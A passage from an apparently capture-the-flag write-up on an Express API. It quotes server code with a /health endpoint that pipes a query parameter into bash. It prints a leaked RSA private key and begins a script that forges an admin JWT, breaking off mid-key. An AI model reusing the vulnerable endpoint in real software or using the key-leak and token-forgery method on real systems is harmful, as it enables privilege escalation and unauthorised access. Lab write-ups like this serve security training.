// if(!name || !password || !email || !role) {
// return res.json({
// error: "Missing required fields!"
// });
// }
// const salt = genSaltSync(10);
// const hash = hashSync(String(password), salt);
// const stmt = db.prepare("INSERT INTO users (name, password, email, role) VALUES (?, ?, ?, ?)");
// stmt.run(String(name), String(hash), String(email), String(role));
// return res.json({
// data: "User created!"
// });
// });
app.get("/health", async (req, res) => {
try {
const { cmd } = req.query;
if(!cmd) {
return res.json({
data: "OK!",
});
}
const data = new RegExp(/^(id|pwd|whoami)/gm).exec(String(cmd));
if (data === null) {
throw new Error("Invalid command!");
}
const encodeCmd = btoa(data[0]);
return res.json({
data: "OK!",
cmd: await $`echo ${encodeCmd} | base64 -d | bash`.text()
});
} catch(e: any) {
return res.json({
error: e.message
});
}
})
interface IUser {
id: number;
name: string;
password: string;
email: string;
role: string;
created_at: string;
updated_at: string;
}
app.post("/login", async (req, res) => {
const { email, password } = await req.body;
const user = db.prepare("SELECT id, name, role, password FROM users WHERE email = ?").get(email) as IUser;
if (!user) {
return res.json({
error: "User not found!"
});
}
if (!compareSync(password, user.password)) {
return res.json({
error: "Invalid password!"
});
}
const token = jwt.sign({
id: user.id,
email: user.email,
role: user.role
}, pvtkey, {
expiresIn: "1h",
algorithm: "RS256"
});
return res.json({
data: "Login successful!",
token
});
});
app.use("*", async (req, res, next) => {
const token = req.header("Authorization");
if (!token) {
return res.json({
error: "You need to login first!"
});
}
try {
const decoded = jwt.verify(token?.split(" ")[1], pubkey) as JwtPayload;
req.headers["user_id"] = decoded?.id
req.headers["user_email"] = decoded.email;
req.headers["user_role"] = decoded.role;
next();
} catch (e: any) {
return res.json({
error: "Invalid token!"
});
}
})
app.get("/me", async (req, res) => {
const user_id = req.headers["user_id"] as string;
const user = db.prepare("SELECT id, name, role, email, created_at FROM users WHERE id = ?").get(user_id) as IUser;
return res.json(user);
})
interface IUpload {
id: number;
user_id: number;
file_name: string;
file_path: string;
created_at: string;
updated_at: string;
}
app.get("/uploads", async (req, res) => {
const user_id = req.headers["user_id"] as string;
const uploads = db.prepare("SELECT * FROM uploads where user_id = ?").all(user_id) as IUpload[];
if(!uploads) {
return res.json({
error: "No files uploaded!"
});
}
return res.json({
data: uploads
});
});
app.get("/upload/:id", async (req, res) => {
const user_id = req.headers["user_id"] as string;
const upload = db.prepare("SELECT * FROM uploads where user_id = ? AND id = ?").get(user_id, req.params.id) as IUpload;
if(!upload) {
return res.json({
error: "File not found!"
});
}
return res.json(upload);
})
app.get("/upload/:id/download", async (req, res) => {
const user_id = req.headers["user_id"] as string;
const upload = db.prepare("SELECT * FROM uploads where user_id = ? AND id = ?").get(user_id, req.params.id) as IUpload;
if(!upload) {
return res.json({
error: "File not found!"
});
}
const hostUrl = req.protocol + '://' + req.get('host');
console.log(hostUrl + upload.file_path);
return res.redirect(hostUrl + upload.file_path);
})
app.get("/uploads/all", async (req, res) => {
const user_role = req.headers["user_role"];
if(user_role !== "sysadmin") {
return res.json({
error: "You are not allowed to access this route!"
});
}
const uploads = db.prepare("SELECT * FROM uploads").all();
return res.json(uploads);
});
const storage = multer.memoryStorage();
app.post("/upload",
multer({ storage }).single("file"),
async (req, res) => {
const user_id = req.headers["user_id"] as string;
const file = req.file;
if (!file) {
return res.json({
error: "No file uploaded!"
});
}
if(typeof file == "string") {
return res.json({
error: "Invalid file!"
});
}
const newName = Date.now() + '-' + file.originalname
fs.writeFileSync(`./static/${newName}`, file.buffer);
db.prepare("INSERT INTO uploads (user_id, file_name, file_path) VALUES (?, ?, ?)").get(user_id, file.originalname, `/static/${newName}`);
return res.json({
data: "File uploaded!",
});
}
);
app.use("/static", express.static("static"));
app.get("/users", (req, res) => {
const user_role = req.headers["user_role"];
if(user_role !== "sysadmin") {
return res.json({
error: "You are not allowed to access this route!"
});
}
const users = db.prepare("SELECT * FROM users").all();
return res.json(users);
});
app.listen(Number(PORT), () => {
console.log("API :- http://localhost:" + PORT + "/");
})
If we access the page as /me directly we see:
We can see the Authorization token is a JWT token. But we dont know where the JWT key is or anything. So now what??
If we again analyze the git commits, issues we see a closed issue as HELP ME!!:
If we scroll down , we see:
Here you go.-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
wcBMAz4gvc/u73MTAQgAnONTa89FgrOts8x8rEIrrCEEfoI8erNo7YKGGuke3+Pa
N33vljyf1SxEBibdWupA60fK4jphhSwzTUCGscFwAg4px2+82GisxtqBnZbl0UKB
vJ7UukGboKcAUgk/ki3bxzIhaT6MAcw9biJStfJxtX1LnoU1T+mzrHycwUKSNkqb
Y3p1WOV2qQIuGtc2M0xcrP6islSbhuSZt8c3fJYn7VkSAnPKXzeBkt46PLhN7Gyv
BrdyKFew6ut36X7TzSjzqcnQ/umuoei/j4ztyxb/4s1UAyFA6kPqXGNhu6Z11QPf
SJVvyPhzf8UlG+s84LIhoakm6ljFRV5KO7hZwi4ujNLDfgEItT0BOsR4w0AlaWEM
8niZlqPRBO9owevOmfqxvTwXrc4R27jiMl8MC6Lz7GiKT+oy7q7+US7MTEV/U1sF
i0Jy1pBkUxml6N+kw/TIIaWUJYyLpuewf+8yWGjAX2VaLydgqRyaD2LANOZ/IxyA
PGrexA6AHIMkZWlo6fXquaqh67kKYd47BCSFt6waGm6JbZZasGFS4Ct2fzJIEZMp
Cs8WAIZHTTvSGx8Y3t/oW77QPQsH4GkzA3J4d1VvMjLmrMhpygPeILNeDE+SJRsa
HP9Rjf5rlJYRGohSqcmnt5V5ZbFGEZYiYv90Dq5uCryFtqWOr05UwxmiZrktUF3m
b8PEQrC6E109usTxHTSRWp4z0aqNDmrtVnkVlYfMsBiTrLqow8GF4reUAr1E9peT
1oaMFwu5URIG1PuLC6iLQ6qCJlrlrwZRiatS0b/583j7tfS11w9aafwrSI79kFFp
tCcURQHCEnehOulXck3goVUBNpL9c2rB4zTu0wTIs7oQxJ5cP7Sw3U+ra1tLMuKI
Ul32+rLpPHI0R4kMPQPZ/yhbDgIskxSyozXyzcOJYKMF89ewT8yJ3HFZtcpTUN7l
3wBqdCSPD2N9kIESz5tl6dcBHgoApGe8sQLnAuAgHqc6CWb0OfhOKNR5DqyALxaw
kB5WmNe0vsDScsQg5dB/xwoOQ+2nKHRPDsrlGZ11vwFxVDjfz55lSoQBUD/oAxSa
Hlu27CFR9sfVOpYXwKYaJir88iinhafbjKtc0inoGnLst1QZU0V0s2/1CY9/oZPQ
eqt/vzFsA3nXlqXgyoemzrFBEnjWwSXJPXcBN2j+9NTsh+3cx/QKnInxP7vwK3Id
C9WNbr0tdprKkowgTC03f1KRccjl5xDyNPR2h6xHPPiC7mlV+4iZIFISxztqK3cd
CrCmHyeNPuEL/p3Nkw+shcKBRD5cSmAnHiemQA+OHA72BL6UrH8r88MY5o+CWunN
cRIF040VA+LDAEqhh7ELiWWBqCeJAmMQ2HPMNakXRF8lMLaXNac1BmloWVYohxst
LyfjeQdpQDHJFHK6G/dYii92COdQP/46VrYUkx2wzWyFM4+rthn0TxbjDN+SAcSR
kgsut+Gqqau8lOXKgurpRlVcexXuFAH5cHM35iVtA+3rpVQa0HhD/0sOTeqqdBfl
l7RJ+FBqaJDCTkCL0Z/iq0eCExT3W4PFr2qN2kN1k6+D30WnhCvQL5GBSCLX5f+D
+zWv9N312+9J9ZFqFxBnuRhepuWRLTnU0PuDXfxLjuM4qSVyskV66nVi8MN+adxZ
SFqXr0JqHJl1/QcFQofbLdnhhYZ+u0J0Nz4MGHwoFskOiMfyEmm96gkP3kfM4pN4
N1XdRhMIQsNxdWiW2CYKiFPVGMg/US3VJ2UER4J8pcr6JXhAraEPurUNmTH3aVAg
3VCfRFF9HOGsGSJ+yJlcvw==
=H9Kb
-----END PGP MESSAGE-----
If we decrypt this using our keys on keybase, we see:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAxLCJyb2xlIjoiZGV2ZWxvcGVyIiwiaWF0IjoxNzE2MDAzMjI0fQ.MzJyfqrJkvG2TJ9BpEu37ahfKCkGI5-NRB6_ykZuWbPCORIlUicOPaDBZwtKPmwgDJbGU4l_V_TwInHkleyVYKtz-oGN0zf8dH8NyKZbibKQCKPacvzioja4cxXNIbvyF_Q3weAA2TSJuYd0hqjW4W355VMOOfDXKs9VE6Rcrd7snjI8rnwraOJjt6lvU7EBc8DJJTNZYFTvmMx8CForioRIyn1LEz5l1ob-_LixY5_prbipzQgfSRx79o2befMucjl6cJHOBQJbOeh5x4V0XLDN4yaxH-bqPe1oYO2MAwyHVqMJ5WVomIOfxfN01rG0PtvSh8CsCoP66kxYa-ga2gyzGkAVhRiizco9uBpoARnrL7q1Tuylf0-kyxquSjs2vEG0UXU5FN3s8VYUUpANmJEf26RjEylNHWLS26AiFvxYZcwd4Zw9AbmAHsHKCedCaQ6o93SDmUnBK-UwFX0ldDusgoOpWVR5hApinhiig76DemP2yC_1dwoRk6xhQa-9LnpjpuElT4ivhlh1j-Fr3Yxm4RTQUc6oMPc7o6BGa5PBGKV4vPQH8NxAQyFv85u22fOMXBE-Jhlh1h2M2NMH_u8u3f5V2wU_471oyxRB8iLFdPwB7JNREcNwjPNzGyMCE6GEg2fDtunPOw7BnJH09FEqzB6tnejwDgUa4w3zybYSo yeah, 75 % of the job is done. We have our JWT token.
Now accessing the /me with the Authorization token:
Nice stuff. Now moving back to the index.ts file. If we analyze this, we see the routes as : /users are only accessible by users with role as sysadmin.
app.use("/static", express.static("static"));app.get("/users", (req, res) => {
const user_role = req.headers["user_role"];
if(user_role !== "sysadmin") {
return res.json({
error: "You are not allowed to access this route!"
});
}
const users = db.prepare("SELECT * FROM users").all();
return res.json(users);
});
So now since our jwt has role as developer. We can try to manupulate the role, But if you know about how JWT works, we cannot resign the JWT without using the KEY.
The key hunt:
If we access /uploads with the currecnt jwt:
Here we have our jwt.key :
Let see that:
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto
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
6MffJ7znuXf+0n8+YH/6t5/94jdf/F8XtLnV
=PYJ2
-----END PGP MESSAGE-----
Lets decode this again using keybase:
-----BEGIN RSA PRIVATE KEY-----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
-----END RSA PRIVATE KEY-----
So we have the JWT key with us and we can edit the jwt as we want. But whats the user id of sysadmin?
/me said that we are user 101.
If we use intruder on : /user/id , we see that userid 103 s is sysadmin:
Now lets Resign the JWT with role:sysadmin and id:103. I ahve a python script to do so:
import jwtfrom datetime import datetime, timedelta
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
# RSA private key in PEM format
private_key_pem = b"""
-----BEGIN RSA PRIVATE KEY-----
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
